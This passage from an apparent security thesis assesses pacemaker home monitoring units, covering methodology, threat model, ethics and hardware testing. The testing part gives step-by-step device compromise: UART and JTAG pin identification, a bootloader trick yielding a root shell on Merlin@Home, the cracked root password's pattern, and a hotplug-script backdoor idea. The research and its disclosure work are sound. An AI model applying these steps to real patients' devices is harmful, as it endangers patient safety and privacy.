“AT+CPIN=4321” is used to give the PIN code to the modem so it can unlock and
use the SIM card. Figure 2.6 presents the usage of these commands to establish
a connection between two DTE. The “ATA” command is issued by the DTE B to
answer the call and then the “ATH” command allows it to hang up. A modem can
switch between two modes which are the command mode and data mode. Once a
modem has reported “CONNECT” it means it is in data mode and is waiting for
data to be sent or received. An escape sequence (usually “+++”) is required to
switch back to the command mode.

DTE A DCE A DCE B DTE B

Configuration

ATDT123456789
CONNECT

Data
Data

NO CARRIER

RING
ATA

Data
Data

ATH

RING
ATA

CONNECT

Data
Data

+++
Ok

ATH
Ok

Figure 2.6: AT commands issued to establish a connection between two DTE

On a Linux system, the pppd daemon which is interacting with the PPP kernel
driver to establish a connection with another peer and is also in charge of the
negotiation of the IP addresses.3 The pppd daemon is using chat-scripts to interact
with the modem and establish the connection.

3According to the man page of the pppd daemon: https://linux.die.net/man/8/pppd

https://linux.die.net/man/8/pppd
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Listing 2.1: PPPD chat script example

" " " at "
OK " at&d0&c1 "
OK " atdt2468135 "
"name : " "^ Umyuserid "
" word : " "\ qmypassword "
" i s p t s " "\ q^Uppp"

Listing 2.1, extracted from the pppd man page, presents part of a typical chat-
script to establish a connection to an ISP. A script is usually composed of two text
columns. The right one corresponds to the commands to be sent in response to the
ones on the left. For instance, by issuing the “at” command, an “OK” is expected
from the modem and one can then issue “at&d0&c1” and expect a second “OK”.
This goes until the connection is established and one of the peers hangs up.
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3Methodology

The main motivation of this project is to assess the security level of the vendor’s
HMUs and to give general guidelines to biomedical technology companies to develop
more secure implants and mitigate problems that might exist in the current models.
With that goal in mind, we have chosen to follow two main methodologies to guide
our work. Our research is driven by design science [58]. In addition, the practical
part of the thesis, which is assessing the security of the devices, is following a Black
Box Testing methodology.

3.1 Design science

Design science is defined as “the design and investigation of artefacts in context” [58].
Wieringa explains that an artefacts is “something created by people for some practical
purpose [...] used when designing, developing, implementing, maintaining, and using
information systems and software systems.” This can be software, hardware, methods,
etc. He also highlights that those artefacts are designed to be used by people which
means in a given context. A context is then defined as anything that interacts with
the studied artefacts or which has an influence on it. It could be a person, other
artefacts, a budget, etc.

Our study takes place in the context of the pacemaker ecosystem. Multiple
artefacts can be defined here, such as the pacemaker itself, the HMU, the programmer,
the protocols or the method(s) used to transfer data between the pacemaker and the
HMU. Our project can be defined as the validation of a human created artefacts (the
HMU) in a given context (the pacemaker ecosystem).

Special care needs to be taken when assessing medical devices. It is indeed
particularly true that a vulnerability that could seem harmless in a regular IoT
device can have a huge impact on the patient’s safety or privacy. As explained more
in details in Section 3.4, we have kept in mind the context of our artefacts when
evaluating its security. Considering the context is also really important as it allows

23
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to take new attack vectors into account and sometimes discover large scale attacks.
A good example of such a flaw is the study on femtocells’ security, where researchers
were able to interact with other devices once inside the provider’s network [12].

Design science is not only about evaluating artefacts, but also about building some
new artefacts to make improvement to the area. That is why we aim at assessing the
security of the vendor’s devices, but also at giving some guidelines on the conception
of a medical device and more generally of IoT devices. As defined by Wieringa,
those results are also artefacts and their conception is following the design science.
They are indeed based on the knowledge acquired on the system but also on external
knowledge. Hypotheses that have been tested, along with the methodology used to
assert or dismiss those hypotheses, are described and can constitute a base for a
testing guide on medical devices. We hope that these guides will help other students
and researchers in assessing embedded devices.

Even though design science helps us keep our initial goal in mind as well as
present our research, it is not the best methodology to assess the security of the
HMU under study. Indeed, it gives us general guidelines on how to drive our research
but no information on how to perform the security assessment in itself. That is why
our methodology is mainly based on another one that fits better: the Black Box
Testing Methodology, which is explained more in depth in the next section.

3.2 Black Box Testing

3.2.1 Definition

The Black Box Testing methodology is a way to assess a software, a device or more
generally a system from the outside while having very little knowledge about its
internals. The attacker is analyzing the outputs of the box obtained by sending some
inputs or just by passively listening, and then tries to deduce the internals of the
target. Having made some guesses, the attacker can adjust her inputs to confirm her
thoughts or to exploit the target (see Figure 3.1).

SYSTEMINPUT OUPUT

ADJUSTMENTS

Figure 3.1: Diagram of the Black Box Testing Methodology

This methodology has several advantages compared to others that can be used
to assess a system. Indeed, the goal here is to test under real conditions, to fit a
real scenario. That means that such a test will include real errors that can be made
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during the deployment of a system, such as default passwords, misconfigurations
in general or even a lack of training of the employees (weak password for instance).
It also has a low false-positive ratio as the attackers can assess the risks associated
with a vulnerability, i.e. if a given vulnerability is really exploitable or not. A White
Box Testing on the other hand, where the attacker has full access to source code
and implementation details, might lead to vulnerabilities that are not relevant (not
given the goal of a Black Box Security testing at least) because they would never
be triggered in a real-world scenario. However, this methodology also has some
drawbacks. By definition, the attacker has very little information about the target
and might miss some vulnerabilities that would have been detected by code and/or
configuration review. It is then clear that a Black Box Testing should not be the
only security test performed, even though it is an excellent way to assess a device
under real conditions.

Our project focuses on a proprietary ecosystem, on which we have almost no
information apart from the one the vendor is providing the patient with, which is in
fact really vague and non-technical. Moreover, our goal is to assess the security risks
related to that ecosystem in a real-world scenario. Black Box Testing Methodology
then fits well with our constraints and objectives and that is why we have decided to
use it.

3.2.2 Steps of the methodology

Our process can be split into five different tasks (see Figure 3.2). The very first
one is the Hardware Analysis. Once a device is acquired, one starts analyzing its
components, which means knowing what the exposed interfaces are, debug interfaces,
but also the chips that are on the board. In order to know that, opening the device
to access the PCB and analyze it is often required.

Knowing the components and available interfaces, one can then start looking for
documentation such as datasheets, RFC or any other relevant information about the
device. The goal of that second step is to understand the overall system and come
up with some first hypotheses about it.

From those hypotheses, we then come with testing scenarios to be performed on
the device and that will have two possible outcomes: either a success or a failure.
However, the success or the failure of a testing scenario is determined by the expected
result, which means in reality that even failure brings us information about the
system.

Indeed, the results of a specific scenario need to be interpreted. This interpretation
will be called a finding. Those findings are then used to look for new documentation
and/or infer new hypotheses about the device. For example, if the hypothesis is “the
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device has debug ports exposed on the UART pins and is providing the attacker with
a shell when connected to it”, then the testing of that particular scenario will lead
to either a confirmation or a rejection of the hypothesis. The interpretation is here
quite easy as it is the hypothesis itself. This finding can then be reinjected in the
documentation phase to infer new testing hypotheses like “the attacker is given a
root shell when connecting to the UART console” or “the attacker can access the
filesystem when connecting to the UART console”.

Those findings are finally gathered to be reported. The reporting step is the one
where the device is considered back in its whole context, as explained in Section 3.1.
That means the findings are interpreted again, but that time in regards to different
metrics. In the case of the above example, one can wonder what is the impact of
the attacker having access to the filesystem on a medical device? Linked to other
findings such as “The users’ data are stored in cleartext on the device” or “The users’
data are not stored on the device” the interpretation can be very different.

The mitigation is also included in the reporting step. The real value added to a
product when performing a security test is this mitigation part as it explains to the
vendors how to improve the security of their products.

Those steps can be mapped with the Open Source Security Testing Methodology
Manual (OSSTMM) which is widely used to assess ITs’ system’s security [25]. Indeed,
the first two steps (hardware analysis and documentation) correspond to the infor-
mation gathering (or approach) phase in the OSSTMM. The contact phase is then
used followed by the exploitation phase, which are here mapped with the testing and
findings phases. In the OSSTMM, the information gathered during the first phase
along with the one gathered directly by the contact phase is then use to exploit the
system and gain access. In our process, the information required to exploit, and gain
access comes from previous testings. Finally comes the reporting phase, including
mitigation. In the OSSTMM, one more phase is sometimes used depending on the
engagement: the persistence one. In our case, persistence is studied as a hypothesis
which is then tested and reported as any other findings.

3.2.3 Use cases

When it comes to the choice of a way to assess the security of a system, there is no
better choice between a Black Box Testing and a White one. The decision highly
depends on the company’s objectives. Indeed, they will prefer a White Box testing if
the goal is to analyze the code in detail and maximize the amount of time spent on
the penetration test. If they aim at identifying attack vectors and targets that are
more likely to be used by attackers in a real-world scenario, then they might prefer a
Black Box testing.
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Figure 3.2: Black Box Methodology iterative cycles used in our project

Black Box Testing is for sure a wise choice for security managers who want to
assess the security of their IT systems, as it will help to perform a risk evaluation
given different scenarios and threats (external hacker to the company, malicious
employee, etc.). With that information, it is then easier to harden the weakest points
in the system. We can then advise to start first with Black Box Testing that will
help to identify urgent problems and once these problems are solved, go deeper into
the security with White Box testing. Even though we are here describing a situation
where a product is assessed once already produced, it is clear that the best practice
is to consider security during the design process.

As explained in Subsection 3.2.1, Black Box Testing is an obvious choice for our
project given our scope. It allows us to perform a realistic analysis of the system
and to evaluate its security from the point of view of an external attacker. We also
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performed a risk assessment of the findings we got, based on patients’ safety and
privacy. The threat model we are using and the way we are assessing the findings
are described in the next section.

3.3 Threat model

3.3.1 Definition

Threat modelling is a methodology on its own that allows a company to consider
its critical assets along with the potential threats and attack vectors that could be
used. It is defined by Shostack as “the use of abstractions to aid in thinking about
risks.” [48] Even though we are not using the threat modeling methodology in this
thesis, we still define a threat model to help us assess our findings.

3.3.2 Threat model considered

In the pacemaker ecosystem, and more generally in the medical devices industry,
two elements are vital: patients’ safety and privacy. In the case of the pacemaker
ecosystem, both elements are at stake and can be targeted by an attacker, or a group
of attackers in order to harm or kill someone or to generate money out of it. Selling
personal data can be very prolific and is a real target for attackers as demonstrated
by the breach in the Norwegian Healthcare systems in January 2018 [50]. As already
mentioned in our motivations to work on that topic (see Section 1.2), attackers can
also target a high-valuable person with the intent to harm or kill them.

Many people are interacting with the pacemaker’s ecosystem and can thereby be
considered as potential attackers. In this thesis we are studying the impact of an
active attacker, that means, an attacker that will directly interact with the HMU
if possible. Interactions can be passively eavesdropping, modifying, replaying or
blocking messages from or to the HMU on its wireless interfaces, but also physical
attacks if the attacker has the possibility to get access to an HMU. Table 3.1 details
the potential attackers and their capabilities. If not specified, one can assume that we
are considering an attacker which is an outsider to the ecosystem who has acquired
an old HMU, on eBay or other resellers of electronic equipment.

When considering the pacemaker’s ecosystem, not all parts have the same proba-
bility of being targeted. First of all, they are not exposed and protected the same
way: the programmer is in a hospital and the mobile network is not accessible by
everyone. Secondly, not all devices carry valuable information or allow an attacker
to perform a specific attack that could harm the patient. Finally, the skills required
to attack a pacemaker are not the same than the skills required to attack a website.
From those assumptions, we can tell that the link between the pacemaker and the
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Potential attacker Role in the ecosystem Capabilities

Outsider None Can acquire an old HMU

Medical Staff Programming the pacemaker Access to the programmer

Patient’s doctor Monitoring Access to the online console

Patient’s entourage None Access to a working HMU

Patient Patient Access to a working HMU

Table 3.1: Potential attackers and their capabilities

server is probably the more likely to be attacked. It is indeed quite easy to get access
to an old HMU, using eBay for instance.

Moreover, the HMU is directly connected to the vendor’s backend servers, through
which all the data are gathered. Finding a vulnerability on those could lead to a
massive data breach and be of interest for attackers. It is therefore relevant to
consider the HMU as a target and to study its security.

Defining this threat model helps us evaluate the probability of an attack and thus
the overall risk.

3.4 Assessment

3.4.1 Assessment criteria

In order to evaluate the impact of a finding on our assets and more importantly on
the patient’s safety and privacy, assessment criteria are required. For that, we are
using the Confidentiality, Integrity and Availability (CIA) triad, extended by the
Non-repudiation and the Authentication (further referenced as CIANA in this thesis).
The impact of a given finding or set of findings will be assessed regarding these five
keys.

Confidentiality

In its “Glossary of key information security terms”, Kissel defines confidentiality as
“the property that information is not disclosed to system entities (users, processes,
devices) unless they have been authorized to access the information’.’ [30] Personal
data is very valuable on the black market, and medical information systems are a
privileged target to obtain it. The Norwegian HealthCare Data breach that occurred
in January 2018 is a good example [50].
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Integrity

The integrity is defined as “the property whereby an entity has not been modified in
an unauthorized manner.” [30] Successful attacks on the pacemaker impacting the
integrity could lead to the death of the patient. For instance, if an attacker is able
to reprogram the pacemaker and to change its therapy, or even worse if he is able to
deliver a shock to the patient.

Availability

According to Kissel, the availability is “the property of being accessible and useable
upon demand by an authorized entity.” [30] This property is one of the most important
when it comes to the pacemaker. Indeed, if the pacemaker has no more battery or if
it is not functional anymore because of an attack, the consequences can be disastrous,
and the life of the patient might be endangered.

Non-repudiation

Non-repudiation is defined as a “protection against an individual falsely denying
having performed a particular action. [It] provides the capability to determine whether
a given individual took a particular action such as creating information, sending a
message, approving information, and receiving a message.” [30] In the context of the
pacemaker ecosystem, each entity interacting with the pacemaker should be clearly
identified, and its actions should be logged in such a way that makes it impossible
for it to repudiate its acts. For instance, a practitioner that configures a treatment
on the pacemaker should not be able to deny he did.

Authentication

Authentication is “the process of verifying the identity or other attributes claimed by
or assumed of an entity (user, process, or device), or to verify the source and integrity
of data.” [30] When it is applied to medical devices, it means that entities should be
able to verify the source of the data that is exchanged. The pacemaker should be
able to check that the incoming data ordering a new configuration is indeed coming
from a trusted programmer. Similarly, the vendor’s servers should authenticate the
data, and confirm their origin before processing them. An attacker could indeed
forge data’s packets and send them to the server to corrupt the real data and trick
the practitioner into thinking that something is wrong.

Two levels of interpretation exist when it comes to the risk assessment of our
findings: the device level and the ecosystem level. The findings will first be evaluated
given their impact on the Confidentiality, Integrity, Availability, Non-repudiation
and Authentication (CIANA) criterion (yes or no), then on the patient’s safety and
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privacy (yes or no) and finally, we will give our evaluation of the finding’s criticality
with the levels described in Table 3.2.

Criticality level Description

None No impact on the system

Low Cannot be used on itself to compromise the system or gather
data from the system but can be linked to other findings to
do so

Medium Gives the attacker the ability to extract sensitive information
out of the system

High Gives the attacker the ability to control the system

Table 3.2: Findings’ criticality levels

As explained in Section 3.3, one needs a context to really make sense of our
findings and of their evaluation. That is why our evaluation is based on a specific
scenario: we assume that our attacker is an outsider attacker (see Table 3.1) who
acquired an old HMU on the internet. The goal of the attacker is to threaten her
target’s privacy and safety. We also assume that the attacker has the ability to get
physical access to the patient’s HMU for a few hours (by breaking into the patient’s
home for instance). Motivations and costs other than the costs of the tools required
to perform such an operation are not taken into account in this thesis. They are
however discussed in Chapter 6.

3.5 Ethical considerations

Ethics and information security are closely linked together, and security researchers
can be faced with a dilemma like whether or not they should publicly disclose their
findings. This is particularly true in areas like medical devices, automotive and other
critical industries. Indeed, working on the security of a product can have several
ethical concerns.

Researchers can find personal and sensitive data during their research and need to
deal with them carefully. As described in Section 1.1.3, multiple devices are available
in the lab for testing. Those devices have been acquired through the internet or
donated to the project. Most of them are not new, such as the pacemaker itself and
contain patient data. These data consist of the patient’s identity, age, condition, etc.
which must not be disclosed and have been systematically redacted from this report
and from any document that has been published or read by people not involved in
the project.
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Vulnerabilities discovered in the pacemaker ecosystem during the security as-
sessment will be reported to the vendor in a coordinated vulnerability disclosure
process. The parallel with the automotive industry is here quite obvious. Fixing
vulnerabilities in such areas is not as straight forward as deploying an update for
Adobe Acrobat for instance and can require the devices to be recalled and/or certified
again which can take several months. Those problems will be discussed more in
depth in Section 6.2 at the end of this thesis.

To deal with those issues, the Norwegian Centre for Research Data (NSD) has
been notified at the beginning of our project. In order to disclose our findings in an
ethical and responsible way, we are in contact with the German Federal Office for
Information Security (BSI), which has already helped in the coordinated vulnerability
disclosure process for the last year project [33].
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4HMU Security Analysis

This chapter presents the security analysis of several Home Monitoring Unit. In
Section 4.1 we introduce the preliminary testings performed on HMU that are known
to be vulnerable. That step helped us becoming familiar with the problems that can
exist in such devices along with the testing methodology. In Section 4.2 and 4.3 we
present our main practical results for this thesis. These results focus on both the
T-Line and GSM versions of the CardioMessenger II-S. The main findings of this
analysis are summarized in Section 4.4. Finally, section 4.5 presents the analysis that
has been performed during the thesis on other devices of the Biotronik’s ecosystem,
but on which no risk assessments have been performed. The main reason for this
analysis was notably to provide useful information to the other ongoing project (see
the MSc Thesis of Lie at NTNU [34]).

4.1 Preliminary HMU Security Analysis

When designing a testing methodology, a tool or simply a test to verify an assumption,
it is good practice to check that everything is working as expected on known cases.
Indeed, knowing both the input and the expected output helps troubleshooting.
Starting our research by testing two devices from other vendors, that are known
to be vulnerable, was then a way to get to know the tools at our disposal in the
laboratory and also to confirm some of the findings found by other researchers on
these devices. Having an idea of the level of security that can be implemented in
medical devices that have been produced at the same time than the CardioMessenger
II-S was also a motivation to study other devices.

4.1.1 Analysis of the Merlin@Home HMU

The Merlin@Home, from St Jude’s Medical (see Figure 4.1), is the first board that
was tested. It is a device from 2008, like the CardioMessenger II-S, and is known
to be vulnerable [10]. The goal of the first testing was attempting to reproduce the
results of [10].

33
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(a) Outside of the Merlin@Home

(b) Inside of the Merlin@Home

Figure 4.1: Outside and inside of the Merlin@Home

Finding and connecting to the debug ports

The first testing point was the debug ports. As one can see on Figure 4.2, UART
pins are labelled on the PCB. The pins that can be observed on the left of the picture
correspond probably to the JTAG interface. However, this device has not be tested
against that hypothesis.

Using an oscilloscope and monitoring what is happening on TXD during the boot
process confirms that the device is sending information on the UART. In order to
determine the Baud Rate and avoid guessing, we acquired the observed signal using
a Logic Analyzer1 and calculated an approximation of the Baud rate as explained
more in details in Section 2.3.1.

1A Logic Analyzer is an instrument that can capture several digital signals simultaneously and
convert them into a timing diagram that can then be interpreted given a specific protocol.
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Figure 4.2: UART pins on the Merlin@Home

B =
1

8.625 × 10−6
= 115 942 ≈ 115 200 Bd.s−1

After having connected a computer to the device using the Shikra2 along with
screen utility, one can hit the reset button and the boot process will start. This is
partially presented in Listing 4.1.

Listing 4.1: Partial booting information from the Merlin@Home

1 Post device verification ...

2 Serial2In string : ATi0

3 Serial2In string :

4 56000

5 Modem Post : Passed with retries = 0

6

7 Time taken by POST : [1.197000] seconds

8 nand_init : manuf =0 x000000EC device =0 x000000F1

9 scanning for bad blocks ...

10 nand_check_blocks : nand_read_page () failed , addr =0 x04940000

Once finished, the user is prompted for login. Unfortunately, we did not guess
the password (assuming that the login is “root”).

During the boot process, one can press any key to stop it. We proceeded and
gained access to a terminal in the Blob bootloader. Some commands are then
available, such as the flash commands. The boot command is particularly interesting
as it allows to boot with the kernel options provided as parameters. One can use
the init option to configure a shell as the init program. However, when issuing the
command blob> boot init=/bin/sh, the bootloader crashed, complaining not to
find the root path. This information is available in the normal boot process, as
highlighted in Listing 4.2.

2The Shikra is described in Appendix A.2.1.
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Listing 4.2: Default Merlin@Home’s kernel options on boot

Kernel command line: console =ttyMX0 ,115200 n8 root =/ dev/ mtdblock6

ip=dhcp BOARD_REVISION =

Figure 4.3 presents the root shell that is obtained by issuing the boot command
with the correct kernel options.

Figure 4.3: Root access on the Merlin@Home

As a consequence of having a root shell, one has full control over the device. The
environment seems to be BusyBox.3 The /etc/passwd file can be gathered and
the root password cracked in less than three minutes using the password cracker
John The Ripper4 on a Virtual Machine. It is a seven characters password with the
regex [a-zA-Z]{3}[0-9]{4}. Connecting again to the device after the boot using
the root password did not work even with the correct pair of username/password.
Our guess is that the root user is not allowed to connect directly, which is a good
security measure. To enable direct connection, one could set a password to one of
the other accounts that exists on the board (such as the “operator” account) and try
to connect with it. However, this could brick the system if any checksum is verified
during the boot process. Several other information can be gathered:

– Known hosts
– SSH keys
– Development shell scripts

It is worth noticing that a script called hotplug.sh is in charge of executing
scripts that are in a specific directory each time a device is plugged in the HMU. For
instance, it will run all scripts placed in /etc/hotplug.d/usb/ whenever a device is
plugged in the USB port. That can probably be used as a “backdoor”. This device
can also be connected to the internet and accessed via SSH. But no modifications
have been done to verify these assumptions.

3BusyBox is a single binary containing several Unix utilities (like cat or vi) and is optimized
to be small. That is why it fits well the constraints of embedded devices and is usually found on
routers.

4Available at https://www.openwall.com/john/

https://www.openwall.com/john/
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No patient’s data have been found on that device, probably because it was not
associated to any pacemaker device. However, given the fact that getting a root shell
is possible, we assume that all data going through the HMU can be intercepted.

4.1.2 Analysis of the Medtronic HMU

Having some experience with the Merlin@Home, we decided to investigate the
Medtronic device using the same attack vector: the debug ports. Indeed, the pins
on the Medtronic’s HMU are not labelled, which allowed us to gain experience in
determining the UART pins. Once the box is opened, one can notice three (four)
different pin’s headers (soldered by the previous students), as shown in Figure 4.4.

Figure 4.4: Possible debug pins on the Medtronic board

Following the methodology detailed in Subsection 4.2.2, one can determine the
UART pinout on the 4-pins header of the Medtronic’s HMU. The result is presented
Figure 4.4.

Vcc GND TX RX

Figure 4.5: Mapping of the Medtronic UART Pins
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When connecting a USB-to-TTL adaptor to the UART pins, one can see the boot
process of the device. However, no interaction is possible. No further trials have
been performed to interact with the UART.

Determining the JTAG pinout on the Medtronic’s device has also been tried.
However, it gave no results. Since our objective was to study the Biotronik devices,
we did not pursue this work any further.

4.2 Security Analysis of the CardioMessenger II-S TLine

While all Biotronik’s devices at our disposal have been tested against certain hy-
potheses, we have decided to focus on the two versions of the CardioMessenger II-S:
GSM and T-Line. Although it was designed in 2008, it is still widely in use today.
Thus, those devices could be a good target for malicious adversaries. Some testings
performed on the other devices of the ecosystem have also been used to deduce
information on the CardioMessenger II-S.

In order to ease the mitigation but also the readability, we are presenting our
results in a way that is mapped onto our methodology. We first present the hardware
analysis performed on the device, followed by the different hypotheses the HMU has
been tested against, split into three categories:

– hypotheses related to the debugging interfaces

– hypotheses related to the hardware components and to the network infrastruc-
ture

– hypotheses related to the memory analysis and the reverse engineering of the
firmware

For each of these sections, we give the general hypothesis Hx the device has been
tested against along with the motivations to do so. We then describe sub-hypothesis
Hx.y and the testing process used to verify/dismiss each of hypothesis. Our main
findings are highlighted at the end of each hypothesis Hx and a summary of the
results is available in Section 4.4.

4.2.1 Hardware analysis

The CardioMessenger T-Line is easy to open. It only takes a few minutes and no
particular manipulation is required. Once opened, one can notice that the hardware
components are all visible and that no obfuscation is used to make the identification
of the electronic components harder (see Figure 4.6).
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Microcontroller

Burst Flash

RAM

DSP

Modem

Tel. lines

Antenna

Figure 4.6: Inside of the CardioMessenger II-S T-Line

Multiple elements can be identified and searched on the internet for datasheets:

– The microcontroller which is based on an ARM Thumb Processor and featured
with debug and UART interfaces

– A Burst Flash memory with a capacity of 4Mb

– An external Random Access Memory (RAM)

– A Digital Signal Processor (DSP)

– A modem that can provide an internet access

– An antenna, most likely to be used to communicate with the pacemaker

– Telephone line inputs

One can also notice that there are two PCB. A smaller one, containing the
microcontroller, is on top of the main one. It looks like a development board
which could be documented on the internet. However, we were not able to find
any information about it. That board has also several testing points that might
correspond to the debug interfaces.

Given the components on the board, we tried to determine what kind of Operating
System (OS) is running on the board. Indeed, the box previously tested (see Sec-
tion 4.1) were running a Linux system. However, in the case of the CardioMessenger
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II-S, it is not a Linux OS. Given the microcontroller chosen, it is hard to believe
that the developers of this system have developed their own firmware from scratch
as it would represent a huge amount of work. That is why we made the hypothesis
that some OS was running on the board. However, it was not easy to say if it was a
Linux-based system or not given the fact that the microcontroller could run a Linux
system. We finally made the hypothesis that it was not such a Linux system because
of the size of the flash (4MB) which had several constraints in terms of features that
can be included. Also, that hypothesis is reinforced by similarities found with the
vendor’s other devices (see the LLTv2’s analysis in Section 4.5.2) which are not able
to run a Linux-based system.

As a result of the hardware analysis, we got several elements to start our research
with. The hypotheses inferred from those elements are presented below. We can also
define a first finding regarding the hardware’s obfuscation level.

Finding F0: An attacker can easily open the device and there is no obfuscation
of the electronic components that would harden the identification of components.

4.2.2 Debugging interfaces

As highlighted in the previous section, multiple testing points are visible on the PCB.
UART was the attack vector used to compromise the Merlin@Home device and is
one of the most common way to compromise an IoT device. That is why our first
hypotheses are about debugging interfaces.

UART interface (H1)

H1.1 Identification of the UART pins

Multiple pins and testing points are exposed on the PCB, but there are no labels
indicating to which interface they belong or what they are. As one can see in red
in Figure 4.7, multiple points are gathered together on the small PCB and look
promising. Trying to plug one’s computer directly without knowing the pin mapping
could damage the equipment. That is why we followed the methodology described
below to determine if there is a UART interface available.

The methodology we used to determine the pin mapping without any label is the
following:

1. Determining the ground pin using a multimeter. A metal part of the device is
usually a good ground reference if no other. If the multimeter is featured with
a continuity test functionality, then one can hear a “Beep” when two points are
connected together.

2. Determining Vcc without the continuity test is not straight forward and might
often be guessed. With a continuity test, when connecting the ground and
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Figure 4.7: Possible debug ports on the board

Vcc, one can sometimes hear a short “Beep” due to the presence (often) of a
capacitor.

3. Once the ground and power pins are known, one need to determine which pin
is used for transmission and which one is used for reception. This could be
guessed by simply connecting to it and switch if it is not working. However, it
is also possible to monitor the activity on both pins using an oscilloscope and if
data is sent on Tx, then it should be visible.

4. The last step is to determine the Baud rate in use. This is achieved using either
the oscilloscope or a logic analyzer. The minimum symbol rate is measured and
from that, one can deduce an approximation of the Baud rate using the relation
given in Figure 2.2. Of course, it is also possible to guess with different Baud
rates until the data seems to have a meaning.

As a result of the testing of all points on the PCB, we identified the UART interface.
One can see the UART’s pins framed in the cyan color on Figure 4.7, with the
mapping detailed in Figure 4.8.

GND RX TX

Figure 4.8: Mapping of the CardioMessenger II-S UART Pins

H1.2 Debug information sent on the UART interface

Having the UART pins mapping, the second hypothesis we made was that some debug
information or boot information is sent on that interface like with the Merlin@Home
or the Medtronic’s HMU. To verify that assumption we connected a computer to
the UART using a USB-to-TLL connector and monitored the activity during the
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boot process. Some information is indeed sent by the device just after the boot. It
displays the name of the bootloader (see Listing 4.3).

Listing 4.3: Output captured on the UART during the boot process

1 Bootloader TELEX4 :

This is however the only information that is sent over the UART. Looking on the
Internet for that specific string did not provide us with any interesting information
either. Thanks to the firmware analysis performed in H7, we believe that the debug
feature is disabled for commercial devices.

H1.3 Interaction is possible through the UART

The next logical step was to try to interact with the UART interface. Once the
UART pins known, one only need to connect a UART-to-TLL adapter to it in order
to interact. The screen utility can then be used on Linux and Mac OS. A software
such as Putty can be used on Windows system.

Here are the screen commands to issue :

1 # Basic connection

2 $ screen /dev/tty.usbserial -XXXXX 115200

3

4 # Logging enabled (in screenlog .0)

5 $ screen /dev/tty.usbserial -XXXXX 115200

6

7 # Close an open session without using screen -ls manually

8 $ screen -X -S ‘screen -ls | grep "$(uname -n)" | awk ’{print $1

}’‘ quit

As we missed some functionalities with screen (such as advanced logging) and needed
some tunable way to interact with the device, we have developed several scripts.
Those scripts are written in Python 3 and make use of the pySerial5 library. They
are available in Appendix B.1.2.

Once connected to the CardioMessenger II-S, we tried to issue commands like
“ENTER”, “CTRL+C”, “ESC”, etc. but we do not manage to get any interaction
with the device. The text sent is not echoed either.

Finding F1: An attacker can identify the UART interface, even though there are
no labels on the PCB. It is enabled and the Bootloader’s banner is visible during
the boot process. We did however not succeed in interacting with this UART
interface directly.

5Available at https://github.com/pyserial/pyserial

https://github.com/pyserial/pyserial
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JTAG interface (H2)

Another common way to compromise an IoT device is to use the JTAG interface.
In the case of the CardioMessenger II-S, it should have been the second hypothesis
tested after the UART. Chronologically, however, this hypothesis was one of the last
one tested because of its “complexity”. Indeed, soldering a connector to the identified
interesting pins was required to get the pins mapping. That soldering is not easy to
do and could have broken the board if not done properly. Figure 4.9 shows in cyan
the pins that are most likely to be the JTAG pins.

Figure 4.9: Possible JTAG pins on the board

Thanks to an engineer from the NTNU’s Electronic Department, we were able to
add a proper connector onto those pins. Figure 4.10 presents the connector that has
been created along with the soldering performed on the board.

(a) JTAG connector added to the board (b) Details of the soldering

Figure 4.10: Details of the JTAG connector added to the board

H2.1 Identification of the JTAG pins

Once the connector added to the board, we were able to first confirm the presence of
JTAG and then to identify the pinout.
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To determine the pinout of the JTAG interface, we used a special hardware tool called
“JTAGulator”. As explain by Grand Idea Studio, the distributer of the JTAGulator,
it is an “open source hardware tool that assists in identifying OCD connections from
test points, vias, or component pads on a target device.” Basically, it can guess the
pinout of the JTAG interface by trying all possible permutations. The JTAGulator6

is an inexpensive commercial off-the-shelf equipment and is presented in Figure 4.11.

Figure 4.11: The JTAGulator from Grand Idea Studio

The device is easy to use. First, one needs to connect the interesting pins of the
board to the JTAGulator (as presented in Figure 4.12). The JTAGulator is then
connected to the computer with USB and one can interact with it through screen.
The Baud rate is 115 200 Bd/s.

Figure 4.12: Connection of the JTAGulator to the device

6The version of the firmware of the JTAGulator we used was v1.6. The flashing process on
Linux and Mac OS is presented in Appendix A.1.1
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Once the device connected, the steps are the following:

1. Adjust the voltage of the JTAGulator (3.3V in the case of the CardioMessenger
II-S)

2. Launch an IDCODE scan to determine TDO, TMS, TCK, TRST

Listing 4.4: Performing an IDCODE scan with the JTAGulator

1 JTAG > i

2

3 Enter starting channel [0]:

4

5 Enter ending channel [0]: 12

6

7 Possible permutations : 1716

8

9 Bring channels LOW between each permutation ? [y/N]: y

10

11 Enter length of time for channels to remain LOW (in ms , 1 -

1000) [100]:

12

13 Enter length of time after channels return HIGH before

proceeding (in ms , 1 - 1000) [100]:

14

15 Press spacebar to begin (any other key to abort)...

16 JTAGulating ! Press any key to abort ...

17 -------------------------------------------

18 TDI: N/A

19 TDO: 11

20 TCK: 4

21 TMS: 12

22 Device ID #1: 0000 0101101100000010 00000011111 1 (0

x05B0203F )

23 TRST #: 3

24 TRST #: 10

25

26 -------------------------------------------

27 IDCODE scan complete .

3. Launch a BYPASS scan to get TDI

Listing 4.5: Performing an BYPASS scan with the JTAGulator

1 JTAG > b

2

3 Enter starting channel [0]:

4
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5 Enter ending channel [12]:

6

7 Are any pins already known? [Y/n]: y

8

9 Enter X for any unknown pin.

10 Enter TDI pin [0]: x

11

12 Enter TDO pin [11]:

13

14 Enter TCK pin [4]:

15

16 Enter TMS pin [12]:

17

18 Possible permutations : 10

19

20 Bring channels LOW between each permutation ? [Y/n]: y

21

22 Enter length of time for channels to remain LOW (in ms , 1 -

1000) [100]:

23

24 Enter length of time after channels return HIGH before

proceeding (in ms , 1 - 1000) [100]:

25

26 Press spacebar to begin (any other key to abort)...

27 JTAGulating ! Press any key to abort ...

28 ----

29 TDI: 5

30 TDO: 11

31 TCK: 4

32 TMS: 12

33 TRST #: 3

34 TRST #: 10

35 Number of devices detected : 1

36 ------

37 BYPASS scan complete .

4. Read the device ID

Listing 4.6: Reading the device ID with the JTAGulator

1 JTAG > d

2

3 TDI not needed to retrieve Device ID.

4 Enter TDO pin [11]:

5

6 Enter TCK pin [4]:

7
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8 Enter TMS pin [12]:

9

10

11 Device ID #1: 0000 0101101100000010 00000011111 1 (0

x05B0203F )

12 -> Manufacturer ID: 0x01F

13 -> Part Number : 0x5B02

14 -> Version : 0x0

15 IDCODE listing complete .

The full session’s transcript is available in Appendix C.1.2. Once the pinout is found,
one can connect a JTAG adapter and start interacting with the microcontroller. In
our case, we used a Raspberry Pi Zero as presented in Figure 4.13. The configuration
of the Raspberry Pi Zero for that purpose is detailed in Appendix A.2.2.

Figure 4.13: Using a Raspberry Pi as JTAG adapter

